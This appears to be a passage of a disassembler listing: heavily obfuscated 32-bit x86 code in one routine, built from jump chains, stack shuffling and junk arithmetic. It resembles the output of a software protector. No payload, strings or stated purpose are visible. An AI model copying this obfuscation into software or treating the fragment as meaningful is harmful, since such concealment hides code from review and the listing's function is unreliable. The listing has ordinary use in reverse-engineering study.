		mov	[esp+6Ch+var_6C], esi
		mov	esi, 425944DFh
		add	ecx, 28D20995h
		add	ecx, esi
		push	edx
		mov	edx, 28D20995h
		sub	ecx, edx
		jmp	loc_5ACCF1
; ---------------------------------------------------------------------------


loc_5ABE76:				; CODE XREF: sub_58A891+1DC98j
		add	esp, 4
		jmp	loc_59DD34
; ---------------------------------------------------------------------------


loc_5ABE81:				; CODE XREF: sub_58A891+2364Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0A2h+var_A2]
		pop	esp
		pop	[esp+9Eh+var_9E]
		pop	esp
		mul	cx
		push	small 1E60h
		mov	word ptr [esp+98h+var_98], dx
		push	ax
		pushf
		jmp	loc_5B2E78
; ---------------------------------------------------------------------------


loc_5ABEA8:				; CODE XREF: sub_58A891+20EB4j
		mov	eax, esp
		jmp	loc_5A9B38
; ---------------------------------------------------------------------------


loc_5ABEAF:				; CODE XREF: sub_58A891+1F7A0j
		mov	ebx, esi
		jmp	loc_59DA53
; ---------------------------------------------------------------------------


loc_5ABEB6:				; CODE XREF: sub_58A891+1EDA0j
		xor	esi, [esp+3Ah+var_3C+2]
		xor	[esp+3Ah+var_3C+2], esi
		jmp	loc_59F841
; ---------------------------------------------------------------------------


loc_5ABEC1:				; CODE XREF: sub_58A891+1C864j
		not	ah
		xchg	ah, bh
		xor	bh, 0C8h
		jmp	loc_5ABBFC
; ---------------------------------------------------------------------------


loc_5ABECD:				; CODE XREF: sub_58A891+1FBFDj
		add	edx, 3F9E6237h
		jmp	loc_59EB53
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_59C797
; ---------------------------------------------------------------------------


loc_5ABEDF:				; CODE XREF: sub_58A891+14412j
					; sub_58A891+1F950j
		mov	edx, 2
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+9Ah+var_98+2]
		jmp	loc_5AE84A
; ---------------------------------------------------------------------------


loc_5ABEF1:				; CODE XREF: sub_58A891+16AA4j
		sub	esp, 4
		mov	[esp+0B8h+var_BA+2], edx
		push	eax
		mov	al, 83h
		sub	al, 4Dh
		jmp	loc_5A033B
; ---------------------------------------------------------------------------


loc_5ABF04:				; CODE XREF: sub_58A891+1C9BEj
		add	ebp, 4A8F3116h
		push	ebp
		not	[esp+98h+var_98]
		mov	ebp, [esp+98h+var_98]
		jmp	loc_5AAD0A
; ---------------------------------------------------------------------------


loc_5ABF16:				; CODE XREF: sub_58A891+18FF1j
		add	edi, ecx
		pop	ecx
		add	edi, edx
		sub	edi, 23BF5520h
		mov	edx, [esp+0D2h+var_D2]
		add	esp, 4
		add	edi, ecx
		push	ebx
		jmp	loc_59D84A
; ---------------------------------------------------------------------------


loc_5ABF32:				; CODE XREF: sub_58A891+16211j
		xor	bh, 0ACh
		jmp	loc_5AD57E
; ---------------------------------------------------------------------------


loc_5ABF3A:				; CODE XREF: sub_58A891+15E9Fj
		pop	esp
		jmp	loc_5AC32B
; ---------------------------------------------------------------------------


loc_5ABF40:				; CODE XREF: sub_58A891+1A124j
		mov	[esp+0BEh+var_BE], esp
		add	[esp+0BEh+var_BE], 4
		mov	esi, [esp+0BEh+var_BE]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0BAh+var_BA]
		xor	[esp+0BAh+var_BA], esi
		xor	esi, [esp+0BAh+var_BA]
		pop	esp
		mov	[esp+0B6h+var_B6], esp
		push	esi
		mov	esi, 4
		add	[esp+0BAh+var_B6], esi
		pop	esi
		push	[esp+0B6h+var_B6]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5AD99B
; ---------------------------------------------------------------------------


loc_5ABF8C:				; CODE XREF: sub_58A891+18CBDj
		mov	eax, ebx
		mov	ebx, [esp+4Ah+var_4C+2]
		add	esp, 4
		sub	edx, 30713F2Dh
		add	edx, eax
		add	edx, 30713F2Dh
		pop	eax
		sub	edx, 2
		push	33F9h
		jmp	loc_5A06FA
; ---------------------------------------------------------------------------


loc_5ABFB0:				; CODE XREF: sub_58A891+1B3B1j
		shl	eax, 3
		not	eax
		xor	eax, 0E48C9EDBh
		add	edx, 4ABC285Ch
		add	edx, eax
		sub	edx, 4ABC285Ch
		pop	eax
		xchg	edx, [esp+22h+var_24+2]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 17F52ECEh
		sub	[esp+26h+var_24+2], esi
		pop	esi
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5ADBF7
; ---------------------------------------------------------------------------


loc_5ABFED:				; CODE XREF: sub_58A891+135FFj
					; sub_58A891+222F9j
		jmp	loc_5AE030
; ---------------------------------------------------------------------------


loc_5ABFF2:				; CODE XREF: sub_58A891:loc_5AB3AFj
		sub	ch, 96h
		neg	ch
		add	ch, 0BDh
		jmp	loc_5AAF42
; ---------------------------------------------------------------------------


loc_5ABFFF:				; CODE XREF: sub_58A891:loc_59C1CEj
		push	edi
		mov	edi, 65D1172Fh
		jmp	loc_5A172B
; ---------------------------------------------------------------------------


loc_5AC00A:				; CODE XREF: sub_58A891+17C2Ej
		pop	edx
		dec	edi
		inc	edi
		shl	edi, 1
		jmp	loc_5A1446
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A2C86
; ---------------------------------------------------------------------------


loc_5AC01A:				; CODE XREF: sub_58A891+226F2j
		mov	ah, 45h
		jmp	loc_5A3534
; ---------------------------------------------------------------------------


loc_5AC021:				; CODE XREF: sub_58A891+1D0F2j
		sub	esp, 4
		jmp	loc_5A75DB
; ---------------------------------------------------------------------------


loc_5AC02C:				; CODE XREF: sub_58A891+280CAj
		mov	edx, 4
		jmp	loc_5AAF9E
; ---------------------------------------------------------------------------


loc_5AC036:				; CODE XREF: sub_58A891+20E79j
		push	ebx
		mov	bl, 0B1h
		jmp	loc_5A69B1
; ---------------------------------------------------------------------------


loc_5AC03E:				; CODE XREF: sub_58A891+23FF7j
					; sub_58A891+27BA0j
		and	ebp, 55A63AC5h
		jo	loc_5A708A
		dec	ebp
		jmp	loc_59E700
; ---------------------------------------------------------------------------


loc_5AC050:				; CODE XREF: sub_58A891+13770j
					; sub_58A891+1C46Bj
		pop	esp
		mov	[esp+0B8h+var_BA+2], esi
		push	1D594107h
		pop	esi
		dec	esi
		jnp	loc_5A0C71
		shr	esi, 5
		push	edi
		mov	edi, 0EA8A08h
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		mov	esi, [esp+0B8h+var_BA+2]
		sub	esp, 4
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 21BFh
		mov	word ptr [esp+0BEh+var_BE], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC08C:				; CODE XREF: sub_58A891+26071j
		mov	[esp+0BEh+var_BE], ebx
		mov	ebx, esp
		push	ecx
		push	edi
		jmp	loc_5B18E7
; ---------------------------------------------------------------------------


loc_5AC098:				; CODE XREF: sub_58A891+13239j
		xor	esi, 60AC495Bh
		jmp	loc_5A0987
; ---------------------------------------------------------------------------


loc_5AC0A3:				; CODE XREF: sub_58A891+23C8Bj
		shl	eax, 3
		jmp	loc_5B2B65
; ---------------------------------------------------------------------------


loc_5AC0AB:				; CODE XREF: sub_58A891+1444Bj
		mov	edi, 7B567CDCh
		sub	ecx, edi
		pop	edi
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0A2h+var_A2]
		jmp	loc_5AFABE
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A2h+var_A2]
		push	ebp
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_59E78C
; ---------------------------------------------------------------------------


loc_5AC0DA:				; CODE XREF: sub_58A891+16D21j
		add	edi, eax
		add	edi, 1F047335h
		jmp	loc_5AAB7D
; ---------------------------------------------------------------------------


loc_5AC0E7:				; CODE XREF: sub_58A891+2046Fj
		add	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 59344626h
		xor	[esp+0Ah+var_8+2], edi
		jmp	loc_5ABBA3
; ---------------------------------------------------------------------------


loc_5AC106:				; CODE XREF: sub_58A891+2787Fj
		push	[esp+0Ah+var_C+2]
		pop	edx
		add	esp, 4
		jmp	loc_59CD81
; ---------------------------------------------------------------------------


loc_5AC112:				; CODE XREF: sub_58A891+196DAj
		add	edx, 7A620B18h
		add	eax, 1C080101h
		sub	eax, edx
		push	ebx
		mov	ebx, 1C080101h
		sub	eax, ebx
		pop	ebx
		jmp	loc_59D24D
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5ACDF7
; ---------------------------------------------------------------------------


loc_5AC133:				; CODE XREF: sub_58A891+15EDFj
					; sub_58A891+1B813j
		mov	eax, edi
		pop	edi
		jmp	loc_59C1D3
; ---------------------------------------------------------------------------


loc_5AC13B:				; CODE XREF: sub_58A891+14232j
					; sub_58A891+263ADj
		sub	al, 96h
		sub	al, cl
		push	65A3h
		mov	[esp+1Eh+var_20+2], ecx
		mov	ch, 0DBh
		shl	ch, 8
		dec	ch
		xchg	dh, ch
		dec	dh
		xchg	dh, ch
		or	ch, 98h
		xor	ch, 68h
		add	al, 0D8h
		add	al, 6Bh
		add	al, ch
		sub	al, 6Bh
		push	ebx
		mov	bl, 2Fh
		dec	bl
		jmp	loc_5A07B9
; ---------------------------------------------------------------------------


loc_5AC16C:				; CODE XREF: sub_58A891+19267j
					; sub_58A891+23E54j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC171:				; CODE XREF: sub_58A891+1CB5Ej
		push	ecx
		mov	ecx, 4D361174h
		sub	ecx, 71A9662Fh
		not	ecx
		add	ecx, 5FBFD1CFh
		sub	edx, ecx
		pop	ecx
		add	eax, edx
		mov	edx, [esp+0A0h+var_A2+2]
		add	esp, 4
		jmp	loc_5A6726
; ---------------------------------------------------------------------------


loc_5AC198:				; CODE XREF: sub_58A891+1D01Cj
		xor	ebx, 4FF22264h
		shl	ebx, 7
		xor	ebx, 0A800BBF8h
		xor	esi, ebx
		pop	ebx
		and	edx, esi
		jmp	loc_5AE308
; ---------------------------------------------------------------------------


loc_5AC1B1:				; CODE XREF: sub_58A891+1B581j
		xor	[esp+0AEh+var_AE], ebx
		xor	ebx, [esp+0AEh+var_AE]
		pop	esp
		jmp	loc_5A1E16
; ---------------------------------------------------------------------------


loc_5AC1BD:				; CODE XREF: sub_58A891+1B054j
		shl	al, 5
		sub	al, 0A4h
		xor	ch, al
		pop	eax
		jmp	loc_5A34F7
; ---------------------------------------------------------------------------


loc_5AC1CA:				; CODE XREF: sub_58A891+13B16j
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp+3Eh+var_40+2]
		jmp	loc_5A18AF
; ---------------------------------------------------------------------------


loc_5AC1DD:				; CODE XREF: sub_58A891+11BF0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+22h+var_24+2]
		pop	esp
		push	ecx
		push	[esp+22h+var_20+2]
		pop	ecx
		pop	[esp+22h+var_24+2]
		pop	esp
		and	ecx, edi
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		jmp	loc_59DE2C
; ---------------------------------------------------------------------------


loc_5AC204:				; CODE XREF: sub_58A891+1ACCBj
		mov	ah, 0F4h
		jmp	loc_5A7CE3
; ---------------------------------------------------------------------------


loc_5AC20B:				; CODE XREF: sub_58A891+1A543j
		add	ecx, 932D31CAh
		xor	ecx, 1D5D047Ah
		jmp	loc_5A892D
; ---------------------------------------------------------------------------


loc_5AC21C:				; CODE XREF: sub_58A891+14069j
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC224:				; CODE XREF: sub_58A891+1B551j
		xor	ebx, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		mov	[esp+9Eh+var_9E], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5B0180
; ---------------------------------------------------------------------------


loc_5AC246:				; CODE XREF: sub_58A891+1FDD3j
		add	bl, 0DBh
		pop	ecx
		jmp	loc_59E1F4
; ---------------------------------------------------------------------------


loc_5AC24F:				; CODE XREF: sub_58A891+19149j
					; sub_58A891+1AC05j
		xor	ecx, 0EA065628h
		jmp	loc_5A663B
; ---------------------------------------------------------------------------


loc_5AC25A:				; CODE XREF: sub_58A891+1D203j
		jbe	loc_5AF00E
		shl	ebx, 1
		js	loc_5ADFB0
		jmp	loc_5A01DA
; ---------------------------------------------------------------------------
		mov	ebx, 308012B1h
		pop	esp


loc_5AC273:				; CODE XREF: sub_58A891+15F92j
					; sub_58A891+1B6D7j
		push	small 7F1Ah
		mov	word ptr [esp+76h+var_78+2], cx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC280:				; CODE XREF: sub_58A891+1AB31j
		push	edx
		mov	edx, 0C564622h
		push	ecx
		mov	ecx, 796E4D58h
		add	edx, ecx
		pop	ecx
		push	420Ch
		mov	[esp+0B0h+var_B2+2], ecx
		push	358A6E84h
		mov	ecx, [esp+0B4h+var_B6+2]
		add	esp, 4
		or	edx, ecx
		push	[esp+0B0h+var_B2+2]
		pop	ecx
		add	esp, 4
		add	edx, 4A310006h
		jmp	loc_59EE7A
; ---------------------------------------------------------------------------


loc_5AC2B6:				; CODE XREF: sub_58A891+246ABj
		add	al, bl
		jmp	loc_5A449E
; ---------------------------------------------------------------------------


loc_5AC2BD:				; CODE XREF: sub_58A891+159F4j
		shl	dh, 1
		xor	dh, 15h
		mov	ch, dh
		pop	edx
		xor	dh, ch
		mov	ecx, [esp+9Eh+var_9E]
		jmp	loc_59F05E
; ---------------------------------------------------------------------------


loc_5AC2CF:				; CODE XREF: sub_58A891+141C5j
		and	ecx, 5D2540C9h
		jmp	loc_5A6129
; ---------------------------------------------------------------------------


loc_5AC2DA:				; CODE XREF: sub_58A891+26132j
		sub	ecx, 0C926C5Eh
		pop	ebp
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], ecx
		jmp	loc_5ABA98
; ---------------------------------------------------------------------------


loc_5AC2EC:				; CODE XREF: sub_58A891+19DF8j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0D6h+var_D6], ebx
		jmp	loc_5A703C
; ---------------------------------------------------------------------------


loc_5AC300:				; CODE XREF: sub_58A891:loc_5A4FC2j
		push	esi
		mov	esi, 98C2CC58h
		xor	ecx, esi
		pop	esi
		sub	ecx, 537839EEh
		add	edi, ecx
		pop	ecx
		neg	edi
		xor	edi, 1ADF7A91h
		sub	esi, 681F4700h
		jmp	loc_5A1433
; ---------------------------------------------------------------------------


loc_5AC325:				; CODE XREF: sub_58A891+24FB4j
		pop	ecx
		jmp	loc_5A65C1
; ---------------------------------------------------------------------------


loc_5AC32B:				; CODE XREF: sub_58A891+216AAj
		push	[esp+0A6h+var_A6]
		pop	edx
		add	esp, 4
		neg	ecx
		push	edi
		mov	edi, 43EB5319h
		xor	edi, 50B71670h
		or	ecx, edi
		mov	edi, [esp+0A6h+var_A6]
		add	esp, 4
		add	ecx, 0C8017C86h
		and	[edi+1Ch], ecx
		mov	ecx, [esp+0A2h+var_A2]
		jmp	loc_5A4C16
; ---------------------------------------------------------------------------


loc_5AC359:				; CODE XREF: sub_58A891+19221j
		push	23D0h
		jmp	loc_5A7C41
; ---------------------------------------------------------------------------


loc_5AC363:				; CODE XREF: sub_58A891+17637j
		add	al, cl
		sub	al, 50h
		jmp	loc_5AD749
; ---------------------------------------------------------------------------


loc_5AC36C:				; CODE XREF: sub_58A891+15363j
		add	ebx, 75C00E14h
		push	dword ptr [ebx]
		pop	ecx
		push	[esp+2Ah+var_2C+2]
		pop	ebx
		add	esp, 4
		push	ebx
		jmp	loc_5A5C58
; ---------------------------------------------------------------------------


loc_5AC385:				; CODE XREF: sub_58A891+27E5Fj
		pop	ecx
		xor	edx, edx
		push	42A6h
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5A5983
; ---------------------------------------------------------------------------


loc_5AC39D:				; CODE XREF: sub_58A891+1BF11j
		push	3E93h
		mov	[esp+90h+var_90], ebx
		mov	ebx, esp
		push	4685h
		mov	[esp+94h+var_94], edi
		push	esi
		jmp	loc_59F9F4
; ---------------------------------------------------------------------------


loc_5AC3B5:				; CODE XREF: sub_58A891+1F9F3j
		push	esi
		mov	esi, 3B7B2957h
		push	eax
		mov	eax, 3C591B1Fh
		shl	eax, 4
		jmp	loc_5A3D06
; ---------------------------------------------------------------------------


loc_5AC3C9:				; CODE XREF: sub_58A891+13EFEj
		pop	esp
		push	esp
		pop	[esp+0A8h+var_AA+2]
		add	[esp+0A4h+var_A6+2], 4
		mov	ebp, [esp+0A4h+var_A6+2]
		add	esp, 4
		jmp	loc_5A55B7
; ---------------------------------------------------------------------------


loc_5AC3E3:				; CODE XREF: sub_58A891+19BEFj
		sub	ebx, 2420123Eh
		jmp	loc_5B27B4
; ---------------------------------------------------------------------------


loc_5AC3EE:				; CODE XREF: sub_58A891+1809Aj
		add	[esp+5Eh+var_60+2], 4
		jmp	loc_5A4E4A
; ---------------------------------------------------------------------------


loc_5AC3FA:				; CODE XREF: sub_58A891+1FC24j
		pop	esi
		push	edi
		push	[esp+0A0h+var_9E+2]
		pop	edi
		pop	[esp+0A0h+var_A2+2]
		mov	esp, [esp+9Ch+var_9E+2]
		push	345Ah
		mov	[esp+0A0h+var_A2+2], ebx
		jmp	loc_5A5D8F
; ---------------------------------------------------------------------------


loc_5AC414:				; CODE XREF: sub_58A891+2628Ej
		push	esp
		jmp	loc_5A41BE
; ---------------------------------------------------------------------------


loc_5AC41A:				; CODE XREF: sub_58A891+1B6F6j
		push	esp
		pop	eax
		push	4DA8h
		mov	[esp+0C2h+var_C2], edx
		push	4E171504h
		pop	edx
		sub	edx, 1
		push	edx
		jmp	loc_5A8DD1
; ---------------------------------------------------------------------------


loc_5AC433:				; CODE XREF: sub_58A891+1F177j
		mov	ecx, 57477D7Eh
		sub	edx, ecx
		pop	ecx
		mov	ebx, [esp+0AAh+var_AA]
		push	ebp
		jmp	loc_5AE283
; ---------------------------------------------------------------------------


loc_5AC444:				; CODE XREF: sub_58A891+17409j
		add	ebx, ebp
		pop	ebp
		push	eax
		jmp	loc_5AAE95
; ---------------------------------------------------------------------------


loc_5AC44D:				; CODE XREF: sub_58A891+1B443j
		pop	eax
		jmp	loc_5AB415
; ---------------------------------------------------------------------------


loc_5AC453:				; CODE XREF: sub_58A891+13019j
		add	ebp, 4
		jmp	loc_5A77E6
; ---------------------------------------------------------------------------


loc_5AC45E:				; CODE XREF: sub_58A891+1865Cj
		or	esi, edi
		mov	edi, [esp+92h+var_94+2]
		add	esp, 4
		or	esi, 3CD71D89h
		sub	esi, 0E8723D9Eh
		add	edx, esi
		mov	esi, [esp+8Eh+var_90+2]
		jmp	loc_5A6FF9
; ---------------------------------------------------------------------------


loc_5AC47C:				; CODE XREF: sub_58A891+170D9j
		add	esi, eax
		add	esi, 0C440C75h
		jmp	loc_5A8FC0
; ---------------------------------------------------------------------------


loc_5AC489:				; CODE XREF: sub_58A891+16874j
		inc	ebx
		add	ebx, 834CDDF2h
		jmp	loc_5AE1D8
; ---------------------------------------------------------------------------


loc_5AC495:				; CODE XREF: sub_58A891+24E89j
		push	[esp+16h+var_18+2]
		pop	ebx
		push	ecx
		jmp	loc_5A20A5
; ---------------------------------------------------------------------------


loc_5AC49F:				; CODE XREF: sub_58A891+16285j
		shr	eax, 3
		push	edx
		jmp	loc_5AA043
; ---------------------------------------------------------------------------


loc_5AC4A8:				; CODE XREF: sub_58A891+16488j
					; sub_58A891+2439Dj
		sub	dl, 8Dh
		jl	loc_5ABB1D
		jmp	loc_5B163D
; ---------------------------------------------------------------------------


loc_5AC4B6:				; CODE XREF: sub_58A891+131BDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC4BB:				; CODE XREF: sub_58A891+1443Ej
		mov	esi, 7834132Bh
		add	esi, 98A5494Fh
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		push	ebp
		push	eax
		jmp	loc_5A3FAE
; ---------------------------------------------------------------------------


loc_5AC4D2:				; CODE XREF: sub_58A891+16C8Fj
		add	ecx, 79106E59h
		jmp	loc_5A2E96
; ---------------------------------------------------------------------------


loc_5AC4DD:				; CODE XREF: sub_58A891+1D8E4j
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 3C455CBCh
		sub	ebp, 48106473h
		dec	ebp
		xor	ebp, 0F434F84Ch
		push	edi
		mov	edi, ebp
		mov	edx, edi
		pop	edi
		jmp	loc_59DE52
; ---------------------------------------------------------------------------


loc_5AC4FD:				; CODE XREF: sub_58A891+192C4j
					; sub_58A891+1C7D2j
		mov	ecx, 60600166h
		add	ebx, ecx
		jmp	loc_59FBB0
; ---------------------------------------------------------------------------


loc_5AC509:				; CODE XREF: sub_58A891+12A21j
		push	eax
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, 476A3263h
		shl	edi, 3
		jmp	loc_5AEB08
; ---------------------------------------------------------------------------


loc_5AC51D:				; CODE XREF: sub_58A891+1BA91j
		shr	esi, 2
		sub	esi, 0A1CA1E8h
		mov	edi, esi
		pop	esi
		jmp	loc_5ADEF6
; ---------------------------------------------------------------------------


loc_5AC52E:				; CODE XREF: sub_58A891+14137j
		pop	ecx
		shr	eax, 8
		jz	loc_5A9A54
		push	esi
		jmp	loc_5A1228
; ---------------------------------------------------------------------------


loc_5AC53E:				; CODE XREF: sub_58A891+22FFAj
		pop	edx
		mov	cl, ah
		pop	ax
		jmp	loc_5A4C56
; ---------------------------------------------------------------------------


loc_5AC548:				; CODE XREF: sub_58A891+1A380j
		mov	ecx, ebp
		pop	ebp
		add	ecx, 0E8DDD44Eh
		add	ebp, ecx
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5A3E60
; ---------------------------------------------------------------------------


loc_5AC55E:				; CODE XREF: sub_58A891+1C9E5j
		add	ecx, edx
		pop	edx
		mov	ebx, ecx
		jmp	loc_5A27A8
; ---------------------------------------------------------------------------


loc_5AC568:				; CODE XREF: sub_58A891+14D2Bj
					; sub_58A891+1F9E8j
		shl	eax, 5
		push	edi
		push	eax
		mov	eax, 60D25B12h
		jmp	loc_59C70C
; ---------------------------------------------------------------------------


loc_5AC577:				; CODE XREF: sub_58A891+197C3j
		jmp	loc_5A6F52
; ---------------------------------------------------------------------------


loc_5AC57C:				; CODE XREF: sub_58A891+1216Aj
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+0AEh+var_AE], edx
		push	ecx
		mov	ecx, 3FB57B2Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_59DAA6
; ---------------------------------------------------------------------------


loc_5AC592:				; CODE XREF: sub_58A891+24618j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0B2h+var_B2]
		jmp	loc_5B21F5
; ---------------------------------------------------------------------------


loc_5AC5A7:				; CODE XREF: sub_58A891+1DB0Dj
		pop	ebx
		push	eax
		jmp	loc_5A9956
; ---------------------------------------------------------------------------


loc_5AC5AE:				; CODE XREF: sub_58A891+12B52j
		mov	esp, [esp+1Ah+var_1C+2]
		push	edi
		jmp	loc_59CCFB
; ---------------------------------------------------------------------------


loc_5AC5B7:				; CODE XREF: sub_58A891+24EC5j
		pop	edx
		sub	ecx, 67FB8B75h
		sub	esi, 7F850540h
		add	esi, ecx
		add	esi, 7F850540h
		pop	ecx
		push	[esp+16h+var_18+2]
		pop	edx
		push	ecx
		jmp	loc_5A50EC
; ---------------------------------------------------------------------------


loc_5AC5D7:				; CODE XREF: sub_58A891+1E627j
		xor	edi, [esp+4Eh+var_50+2]
		jmp	loc_5A5EBD
; ---------------------------------------------------------------------------


loc_5AC5DF:				; CODE XREF: sub_58A891+25597j
		add	eax, 4
		jmp	loc_5AAC5A
; ---------------------------------------------------------------------------


loc_5AC5E7:				; CODE XREF: sub_58A891+284F6j
		jmp	loc_59FD1B
; ---------------------------------------------------------------------------


loc_5AC5EC:				; CODE XREF: sub_58A891+236DBj
		and	eax, ebp
		push	[esp+4Eh+var_50+2]
		push	[esp+52h+var_54+2]
		jmp	loc_59C25D
; ---------------------------------------------------------------------------


loc_5AC5F9:				; CODE XREF: sub_58A891+1D9E3j
		add	eax, 2E95102h
		mov	esi, [esp+76h+var_78+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+72h+var_74+2]
		jmp	loc_5A5762
; ---------------------------------------------------------------------------


loc_5AC611:				; CODE XREF: sub_58A891+2841Aj
		mov	[esp+72h+var_74+2], edx
		mov	edx, esp
		jmp	loc_5AB995
; ---------------------------------------------------------------------------


loc_5AC61B:				; CODE XREF: sub_58A891:loc_5AB602j
		or	edi, 3064136Ah
		jl	loc_5A87A0
		jmp	loc_5A0F16
; ---------------------------------------------------------------------------


loc_5AC62C:				; CODE XREF: sub_58A891+1B2BBj
		pop	ebp
		xchg	eax, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_59EADC
; ---------------------------------------------------------------------------


loc_5AC638:				; CODE XREF: sub_58A891+21027j
		push	esi
		push	[esp+5Ah+var_58+2]
		pop	esi
		pop	[esp+5Ah+var_5C+2]
		pop	esp
		push	small 720Ah
		mov	word ptr [esp+54h+var_54], ax
		jmp	loc_5A18B5
; ---------------------------------------------------------------------------


loc_5AC64F:				; CODE XREF: sub_58A891+23426j
		push	edx
		jmp	loc_59EC0B
; ---------------------------------------------------------------------------


loc_5AC655:				; CODE XREF: sub_58A891:loc_5A033Bj
		sub	al, 0Ch
		push	ebx
		jmp	loc_5A2BCB
; ---------------------------------------------------------------------------


loc_5AC65D:				; CODE XREF: sub_58A891+222ECj
		add	esp, 4
		mov	esi, [esp+0B8h+var_BA+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0BCh+var_BE+2]
		xor	[esp+0BCh+var_BE+2], ebp
		xor	ebp, [esp+0BCh+var_BE+2]
		pop	esp
		add	edi, 4
		xor	edi, [esp+0B8h+var_BA+2]
		xor	[esp+0B8h+var_BA+2], edi
		xor	edi, [esp+0B8h+var_BA+2]
		mov	esp, [esp+0B8h+var_BA+2]
		push	[esp+0B8h+var_BA+2]
		mov	ecx, [esp+0BCh+var_BE+2]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0C0h+var_C2+2]
		jmp	loc_5AABAB
; ---------------------------------------------------------------------------


loc_5AC6AC:				; CODE XREF: sub_58A891+1E2CBj
		add	ebp, 41CD0675h
		xor	ebp, 0F4795727h
		sub	edx, ebp
		mov	ebp, [esp+0A6h+var_A6]
		add	esp, 4
		mov	ecx, [esp+0A2h+var_A2]
		add	esp, 4
		jmp	loc_5AA8A6
; ---------------------------------------------------------------------------


loc_5AC6CE:				; CODE XREF: sub_58A891+13B46j
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_5AAAA7
; ---------------------------------------------------------------------------


loc_5AC6DB:				; CODE XREF: sub_58A891+15CECj
		mov	ecx, 36C8079Ah
		jmp	loc_5A5107
; ---------------------------------------------------------------------------


loc_5AC6E5:				; CODE XREF: sub_58A891+21EC2j
		add	bl, ah
		add	bl, 41h
		jmp	loc_59FF1C
; ---------------------------------------------------------------------------


loc_5AC6EF:				; CODE XREF: sub_58A891+1EC02j
		push	edx
		pop	ebp
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		jmp	loc_5A4866
; ---------------------------------------------------------------------------


loc_5AC6FD:				; CODE XREF: sub_58A891+2424Bj
		xor	ebp, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebp
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------


loc_5AC708:				; CODE XREF: sub_58A891+26191j
		mov	eax, ebp
		jmp	loc_5AF58C
; ---------------------------------------------------------------------------


loc_5AC70F:				; CODE XREF: sub_58A891+24C06j
		push	2D447F21h
		jmp	loc_59E314
; ---------------------------------------------------------------------------


loc_5AC719:				; CODE XREF: sub_58A891+27ABEj
		push	eax
		mov	eax, 6A455C4Bh
		push	edi
		mov	edi, 27500D62h
		neg	edi
		shl	edi, 3
		jmp	loc_59BF87
; ---------------------------------------------------------------------------


loc_5AC72F:				; CODE XREF: sub_58A891+1FD5Dj
		mov	dh, 0F5h
		sub	ah, dh
		mov	edx, [esp+68h+var_68]
		add	esp, 4
		push	edx
		mov	dh, 0Ah
		sub	dh, 0C9h
		sub	bl, 27h
		sub	bl, dh
		add	bl, 27h
		mov	edx, [esp+68h+var_68]
		add	esp, 4
		jmp	loc_5AC6E5
; ---------------------------------------------------------------------------


loc_5AC758:				; CODE XREF: sub_58A891+27AD0j
		and	bh, 31h
		dec	bh
		jmp	loc_5A23D4
; ---------------------------------------------------------------------------


loc_5AC762:				; CODE XREF: sub_58A891+157C9j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AA293
; ---------------------------------------------------------------------------


loc_5AC770:				; CODE XREF: sub_58A891+139ABj
		push	edx
		mov	edx, 2A17286Dh
		and	ebx, edx
		pop	edx
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		not	ecx
		jmp	loc_5A1BAB
; ---------------------------------------------------------------------------


